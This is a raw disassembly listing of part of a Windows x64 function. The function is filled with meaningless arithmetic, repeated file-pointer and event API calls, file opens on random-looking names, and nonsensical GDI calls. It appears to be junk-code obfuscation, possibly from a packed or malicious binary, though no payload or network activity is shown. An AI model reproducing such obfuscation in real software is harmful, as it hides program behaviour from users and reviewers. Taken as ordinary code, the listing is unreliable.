mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x20b0]
add eax, 0xd9
mov dword [rsp + 0x20b0], eax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movabs rax, 0x75199cfa64ea1b
mov rcx, qword [rsp + 0x1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xa4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb97c
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov eax, dword [rsp + 0xb8]
movzx ecx, al
mov eax, dword [rsp + 0xa0]
shl eax, cl
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x64]
xor eax, ecx
mov word [0x1400fd130], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x64]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x78], ax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
add rax, qword [0x1400fd128]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1a8]
shr rax, 4
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x6766
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc4], eax
movsx eax, word [rsp + 0x54]
movsx ecx, word [0x1400fd130]
add eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [str._aMl], al
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [0x1400fd128]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0x120]
movzx ecx, al
mov rax, qword [rsp + 0x1f8]
shl rax, cl
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
xor eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa4]
movzx ecx, al
mov eax, dword [rsp + 0x94]
sar eax, cl
mov dword [rsp + 0xb4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3805
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [str._aMl], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x42ba
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x78]
and eax, ecx
mov word [rsp + 0x64], ax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
sub eax, ecx
mov word [rsp + 0x64], ax
movzx eax, word [rsp + 0x5c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f0]
shl rax, cl
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
cmp dword [rsp + 0x20b0], 0x68fe
jb 0x14000fde7
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xc8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x100]
movzx eax, byte [rax]
mov byte [rsp + 0x5a], al
lea rax, [rsp + 0x338]
mov qword [rsp + 0x188], rax
movsx eax, word [rsp + 0x78]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x54], ax
movzx eax, byte [rsp + 0x50]
mov byte [0x1400fd132], al
movzx eax, word [rsp + 0x5c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x84], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc82
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jle 0x140010378
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
shl eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd8]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x78]
mov rax, qword [rsp + 0xa8]
movzx ecx, word [rax]
call fcn.1400542c0
jmp 0x1400106ad
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0xc8]
mov edx, dword [rsp + 0xc4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140010570
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x84]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0x70]
movzx edx, word [rsp + 0x6c]
xor ecx, edx
cmp eax, ecx
je 0x140010443
mov eax, dword [rsp + 0xb4]
mov ecx, dword [0x1400fc384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
add rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x338], rax
mov r9d, dword [rsp + 0xa4]
mov r8d, dword [rsp + 0x94]
mov edx, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xa4]
call fcn.140053700
jmp 0x14001056b
mov eax, dword [rsp + 0xc4]
movzx ecx, al
mov eax, dword [rsp + 0xb8]
shr eax, cl
mov rcx, qword [rsp + 0xd8]
mov edx, dword [rsp + 0xc8]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14001056b
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x508], rax
mov dword [rsp + 0x20d0], 0x3593
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.gCVp3O4guR8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa20], rax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc388], rax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [rsp + 0x7c], ax
mov rax, qword [rsp + 0x1f0]
cqo
movabs rcx, 0x7411baae7c4b64
idiv rcx
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
sar eax, cl
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0x328], rax
jmp 0x1400106ad
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa0]
mov edx, dword [rsp + 0xb8]
shr edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140010695
movss xmm0, dword [0x1400b2338]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1400b233c]
movss dword [rsp + 0x20], xmm0
mov r9d, ILCreateFromPathW
mov r8d, 0x55
mov edx, 0x61
mov rcx, qword [rsp + 0x2e78]
call qword [sym.imp.GDI32.dll_AngleArc]
mov dword [rsp + 0x21e4], eax
movsx eax, word [0x1400fd130]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
movzx edx, byte [rsp + 0x50]
mov ecx, dword [rsp + 0xa4]
call fcn.1400541f0
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x5c]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x20], 0xa6
mov r9d, ILIsParent
mov r8d, 0xc2
mov edx, 0x89
mov rcx, qword [rsp + 0x5450]
call qword [sym.imp.GDI32.dll_SetRectRgn]
mov dword [rsp + 0x2790], eax
jmp 0x1400106ad
movzx edx, word [rsp + 0x84]
mov rax, qword [rsp + 0x188]
mov rcx, qword [rax]
call fcn.1400540c0
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov dword [rsp + 0x27a4], eax
cmp dword [rsp + 0x27a4], 0
je 0x1400106df
cmp dword [rsp + 0x27a4], 0x601
je 0x14001075c
jmp 0x1400107b4
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x84]
shl eax, cl
movzx ecx, word [rsp + 0x5c]
movzx edx, word [rsp + 0x6c]
or ecx, edx
cmp eax, ecx
je 0x14001075a
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1f8]
movzx ecx, al
mov rax, qword [rsp + 0x120]
sar rax, cl
mov qword [rsp + 0x1f0], rax
mov r9d, dword [rsp + 0xa4]
movzx r8d, word [rsp + 0x78]
mov rdx, qword [rsp + 0x328]
mov ecx, dword [rsp + 0xa0]
call fcn.1400530c0
jmp 0x1400107b4
movsx eax, word [0x1400fd130]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
and eax, ecx
mov word [rsp + 0x5c], ax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0x58], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.1XmghIJVwmJZilPyyZx0p
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12c8], rax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x188]
mov qword [rsp + 0x4398], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4398]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x338], rax
mov eax, dword [rsp + 0x20b4]
add eax, 0xec
mov dword [rsp + 0x20b4], eax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1400fd132], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
movsx eax, word [rsp + 0x7c]
movsx ecx, word [rsp + 0x64]
shl eax, cl
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
sub eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf477
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
sar eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x64]
sub eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x320]
add rax, qword [rcx]
mov qword [rsp + 0x328], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400fd132]
and eax, ecx
mov byte [rsp + 0x5a], al
cmp dword [rsp + 0x20b4], 0xb36d
jb 0x14001080e
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x298]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x1400109f3
mov rax, qword [rsp + 0x1a8]
movzx ecx, al
mov rax, qword [rsp + 0x338]
shl rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
call fcn.1400546c0
jmp 0x140052b92
mov rax, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x188]
mov qword [rsp + 0x43a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43a0]
mov rax, qword [rax]
shr rax, cl
cmp rax, qword [rsp + 0x1a8]
ja 0x140052ada
mov eax, dword [rsp + 0x94]
cdq
idiv dword [rsp + 0xb4]
mov ecx, dword [0x1400fc384]
mov edx, dword [rsp + 0xa4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140010a6c
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4], eax
jmp 0x140010bc3
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0xb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov edx, dword [rsp + 0xc4]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jbe 0x140010ae5
mov dword [rsp + 0x30], 0x3b
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x5420]
mov qword [rsp + 0x20], rax
mov r9d, 0x23
mov r8d, 0x33
mov rdx, qword [rsp + 0x5458]
mov rcx, qword [rsp + 0x2e78]
call qword [sym.imp.GDI32.dll_SetDIBits]
mov dword [rsp + 0xa4], eax
jmp 0x140010bc3
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
movsx ecx, byte [0x1400fd132]
movsx edx, byte [str._aMl]
and ecx, edx
cmp eax, ecx
je 0x140010b55
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
mov rax, qword [rsp + 0xd8]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x100]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0xd8]
mov edx, dword [rax]
movzx ecx, byte [rsp + 0x58]
call fcn.140053910
jmp 0x140010bc3
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [0x1400fc388]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x43a8], rax
mov rcx, qword [rsp + 0x200]
mov rax, qword [rcx]
cqo
mov rcx, qword [rsp + 0x320]
idiv qword [rcx]
mov rcx, qword [rsp + 0x43a8]
cmp rcx, rax
jl 0x140010bc3
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
shl eax, cl
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x200]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x5a]
call fcn.140054020
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x500], rax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x68], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xbfe
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x47aa
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
cmp dword [rsp + 0x20b8], 0xf34f
ja 0x140011075
mov eax, dword [rsp + 0xa4]
movzx ecx, al
mov eax, dword [rsp + 0x94]
sar eax, cl
mov dword [0x1400fc384], eax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x7c]
sub eax, ecx
mov word [rsp + 0x64], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf4d1
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov eax, dword [rsp + 0x20b8]
add eax, 0xfe
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x328]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x5c]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6f08
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x43b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f8], rax
movsx eax, word [rsp + 0x78]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x64], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov eax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x43b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0xb8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc95b
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
movsx eax, word [0x1400fd130]
movsx ecx, word [rsp + 0x54]
add eax, ecx
mov word [rsp + 0x7c], ax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
sub eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [0x1400fd128]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9271
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0xc8], eax
movsx eax, word [rsp + 0x7c]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd130], ax
movzx eax, word [rsp + 0x5c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x84], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x320]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
xor eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [0x1400fc388]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x43c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb8]
movzx ecx, al
mov eax, dword [rsp + 0xc8]
shr eax, cl
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
jmp 0x140010c53
xor r9d, r9d
xor r8d, r8d
mov edx, 0x76af
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c], eax
lea rax, [rsp + 0x94]
mov qword [0x1400fd138], rax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x990], rax
movsx eax, word [0x1400fd130]
movsx ecx, word [rsp + 0x7c]
add eax, ecx
mov word [rsp + 0x78], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x52b6
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
movsx eax, word [rsp + 0x7c]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x64]
mov dword [rsp + 0x3520], ecx
movsx edx, word [0x1400fd130]
movzx ecx, dl
mov edx, dword [rsp + 0x3520]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140052aaa
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
xor eax, ecx
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x818], rax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x43c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xc4], eax
movzx eax, word [rsp + 0x64]
mov word [0x1400fd140], ax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x27a8], eax
cmp dword [rsp + 0x27a8], 0x3eb71242
je 0x14001123d
cmp dword [rsp + 0x27a8], 0x440b1156
je 0x140011203
jmp 0x14001128b
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5a], al
mov rdx, qword [rsp + 0x2318]
lea rcx, [rsp + 0xb8]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x1a4c], eax
call fcn.140053e10
jmp 0x14001128b
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x78], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x43d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43d0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
